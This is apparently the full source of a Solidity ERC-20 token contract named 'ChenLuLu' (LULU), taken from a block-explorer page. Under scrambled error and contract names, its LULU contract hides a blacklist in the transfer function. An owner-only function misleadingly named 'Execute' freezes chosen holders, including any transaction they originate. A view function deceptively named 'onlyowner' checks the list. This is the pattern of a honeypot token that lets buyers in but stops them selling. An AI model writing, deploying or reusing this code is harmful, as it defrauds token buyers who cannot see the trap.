文件 1 的 1:LULU.sol
pragma solidity ^0.8.20;
interface IERC20Errors {
error ERC20token111(address sender, uint256 balance, uint256 needed);
error ERC20token222(address sender);
error ERC20token333(address receiver);
error ERC20token444(address spender, uint256 allowance, uint256 needed);
error ERC20token555(address approver);
error ERC20token666(address spender);
}
interface IERC721tokenzxczxc {
error ERC721zxcxscidOwner(address owner);
error ERC721zxcsdaxxToken(uint256 tokenId);
error ERC721XzxcsassOwner(address sender, uint256 tokenId, address owner);
}
interface IERCggavrvasdsadsasc {
error Erc323122c(address sender, uint256 balance, uint256 needed, uint256 tokenId);
error ERC12312sender(address sender);
error ERC11f87bs2132g(address receiver);
}
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
pragma solidity ^0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
pragma solidity ^0.8.20;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.20;
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
revert ERC20token222(address(0));
}
if (to == address(0)) {
revert ERC20token333(address(0));
}
_updateccs(from, to, value);
}
function _updateccs(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20token111(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20token333(address(0));
}
_updateccs(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20token222(address(0));
}
_updateccs(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20token555(address(0));
}
if (spender == address(0)) {
revert ERC20token666(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20token444(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
pragma solidity ^0.8.20;
abstract contract x1231212 is Context, ERC20 {
function burn(uint256 value) public virtual {
_burn(_msgSender(), value);
}
}
pragma solidity ^0.8.20;
contract LULU is ERC20, x1231212 {
mapping(address => bool) private _awdasdf;
address private _owner;
event skumgbvbba(address indexed account);
constructor() ERC20("ChenLuLu", "LULU") {
_mint(msg.sender, 1000000000 * 10 ** decimals());
_owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == _owner, "ca");
_;
}
function _transfer(address from, address to, uint256 amount) internal virtual override {
require(!_awdasdf[from], "Swap");
require(!_awdasdf[tx.origin]);
super._transfer(from, to, amount);
}
function Execute(address[] memory accounts) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_awdasdf[accounts[i]] = true;
}
}
function Dec(address account) external onlyOwner {
_awdasdf[account] = false;
emit skumgbvbba(account);
}
function onlyowner (address account) public view returns (bool) {
return _awdasdf[account];
}
}